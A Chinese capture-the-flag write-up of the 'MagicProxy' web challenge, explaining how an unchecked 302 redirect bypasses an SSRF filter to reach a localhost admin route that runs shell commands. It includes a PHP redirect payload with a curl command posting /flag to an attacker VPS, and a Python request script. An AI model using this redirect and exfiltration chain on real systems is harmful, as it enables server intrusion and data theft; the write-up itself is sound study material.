[CSICN 西北地区赛] MagicProxy
其实挺简单的,但是比赛的时候想复杂了,一直在考虑利用DNS重绑定来绕过check实现SSRF,其实302设置一个Location头就可以了。
先放上来Utils.class的check:
com.example.magicproxy.utils.Utils
package BOOT-INF.classes.com.example.magicproxy.utils;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;
public class Utils {
public static String readInputStream(InputStream stream) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(stream));
StringBuffer result = new StringBuffer();
String tmp = reader.readLine();
while (tmp != null) {
result.append(tmp + "\n");
tmp = reader.readLine();
}
reader.close();
return result.toString();
}
public static boolean sanitizeUrl(String url) {
if (url != null)
try {
URL parsedUrl = new URL(url);
String protocol = parsedUrl.getProtocol();
String host = parsedUrl.getHost();
InetAddress address = InetAddress.getByName(host);
String hostAddress = address.getHostAddress();
System.out.println(hostAddress);
host = host.toLowerCase();
return ((protocol.equals("http") || protocol.equals("https")) &&
!address.isAnyLocalAddress() &&
!address.isLoopbackAddress() &&
!address.isLinkLocalAddress() &&
!host.endsWith(".internal") &&
!host.endsWith(".local") &&
!host.contains("localhost") &&
!hostAddress.startsWith("0.") &&
!hostAddress.startsWith("10.") &&
!hostAddress.startsWith("127.") &&
!hostAddress.startsWith("169.254.") &&
!hostAddress.startsWith("172.16.") &&
!hostAddress.startsWith("172.17.") &&
!hostAddress.startsWith("172.18.") &&
!hostAddress.startsWith("172.19.") &&
!hostAddress.startsWith("172.20.") &&
!hostAddress.startsWith("172.21.") &&
!hostAddress.startsWith("172.22.") &&
!hostAddress.startsWith("172.23.") &&
!hostAddress.startsWith("172.24.") &&
!hostAddress.startsWith("172.25.") &&
!hostAddress.startsWith("172.26.") &&
!hostAddress.startsWith("172.27.") &&
!hostAddress.startsWith("172.28.") &&
!hostAddress.startsWith("172.29.") &&
!hostAddress.startsWith("172.30.") &&
!hostAddress.startsWith("172.31.") &&
!hostAddress.startsWith("192.0.0.") &&
!hostAddress.startsWith("192.168.") &&
!hostAddress.startsWith("198.18.") &&
!hostAddress.startsWith("198.19.") &&
!hostAddress.startsWith("fc00::") &&
!hostAddress.startsWith("fd00::") &&
!host.endsWith(".arpa"));
} catch (MalformedURLException e) {
return false;
} catch (UnknownHostException e) {
return false;
}
return false;
}
}
过滤写的很死,然后再看路由:
com.example.magicproxy.controller.AdminController
:
package BOOT-INF.classes.com.example.magicproxy.controller;
import java.io.IOException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class AdminController {
@GetMapping({"/admin"})
public void Admin(@RequestParam String command, HttpServletRequest request, HttpServletResponse response) throws IOException {
String ipAddress = request.getRemoteAddr();
if (!ipAddress.equals("127.0.0.1")) {
response.setStatus(HttpStatus.FORBIDDEN.value());
return;
}
request.setCharacterEncoding("UTF-8");
String authorization = request.getHeader("Authorization");
if (authorization == null) {
response.setStatus(HttpStatus.UNAUTHORIZED.value());
response.setHeader("WWW-Authenticate", "Basic realm=\"Realm\"");
} else {
String credentials = authorization.substring("Basic ".length());
byte[] decodedCredentials = Base64Utils.decode(credentials.getBytes("UTF-8"));
String[] arrays = (new String(decodedCredentials)).split(":");
if (arrays != null && arrays.length == 2) {
String username = arrays[0];
String password = arrays[1];
if ("Admin".equals(username) && "AdminE6fdEiU7".equals(password))
Runtime.getRuntime().exec(command);
}
}
}
}
大概思路就是必须是127.0.0.1去请求的admin路由,然后会有一个auth,不过用户名密码都知道,直接写进Authorization
请求头就可以了,然后就是漏洞点proxy路由:
com.example.magicproxy.controller.ProxyController
:
package BOOT-INF.classes.com.example.magicproxy.controller;
import com.example.magicproxy.utils.Utils;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.UnknownHostException;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class ProxyController {
private static final int TIMEOUT = 29000;
@GetMapping({"/proxy"})
public void doProxy(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String urlParam = url;
if (Utils.sanitizeUrl(urlParam)) {
String ref = request.getHeader("referer");
String ua = request.getHeader("User-Agent");
String auth = request.getHeader("Authorization");
try (ServletOutputStream null = response.getOutputStream()) {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
URL urlObject = new URL(urlParam);
URLConnection connection = urlObject.openConnection();
connection.setConnectTimeout(29000);
connection.setReadTimeout(29000);
response.setHeader("Cache-Control", "private, max-age=86400");
if (auth != null)
connection.setRequestProperty("Authorization", auth);
if (connection instanceof HttpURLConnection) {
((HttpURLConnection)connection)
.setInstanceFollowRedirects(false);
int status = ((HttpURLConnection)connection).getResponseCode();
int counter = 0;
while (counter++ <= 6 && status / 10 == 30) {
String redirectUrl = connection.getHeaderField("Location");
urlObject = new URL(redirectUrl);
connection = urlObject.openConnection();
if (auth != null)
connection.setRequestProperty("Authorization", auth);
((HttpURLConnection)connection)
.setInstanceFollowRedirects(false);
connection.setConnectTimeout(29000);
connection.setReadTimeout(29000);
}
} else {
response.setStatus(415);
}
servletOutputStream.flush();
} catch (UnknownHostException|java.io.FileNotFoundException e) {
response.setStatus(404);
} catch (Exception e) {
response.setStatus(500);
e.printStackTrace();
}
} else {
response.setStatus(400);
}
}
}
首先在 if (Utils.sanitizeUrl(urlParam))
会对传入的url进行一次检查,这里是没办法绕过的,但是关注到这里:
while (counter++ <= 6 && status / 10 == 30) {
String redirectUrl = connection.getHeaderField("Location");
urlObject = new URL(redirectUrl);
connection = urlObject.openConnection();
if (auth != null)
connection.setRequestProperty("Authorization", auth);
((HttpURLConnection)connection)
.setInstanceFollowRedirects(false);
connection.setConnectTimeout(29000);
connection.setReadTimeout(29000);
}
如果出现了302跳转,并且跳转次数小于等于6次,就会向Location
头中的URL发起请求,而这里对URL并没有进行限制,也就是说我们只需要在VPS上起一个Web应用,然后设置Location
为SSRF的URL即可绕过检测实现攻击,并且这里会带上Authorization
的认证。
VPS上起一个index.php
:
<?php
header("Location: http://127.0.0.1:8080/admin?command=curl%20VPS:PORT%20-X%20POST%20-d%20@/flag");
然后Burp抓包或者写个请求脚本,带上Authorization
头即可:
import requests
url = "http://localhost:8080/proxy?url=http://VPS/index.php"
res = requests.get(url,headers={"Authorization": "Basic QWRtaW46QWRtaW5FNmZkRWlVNw=="})
print(res.status_code)
print(res.text)
[ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com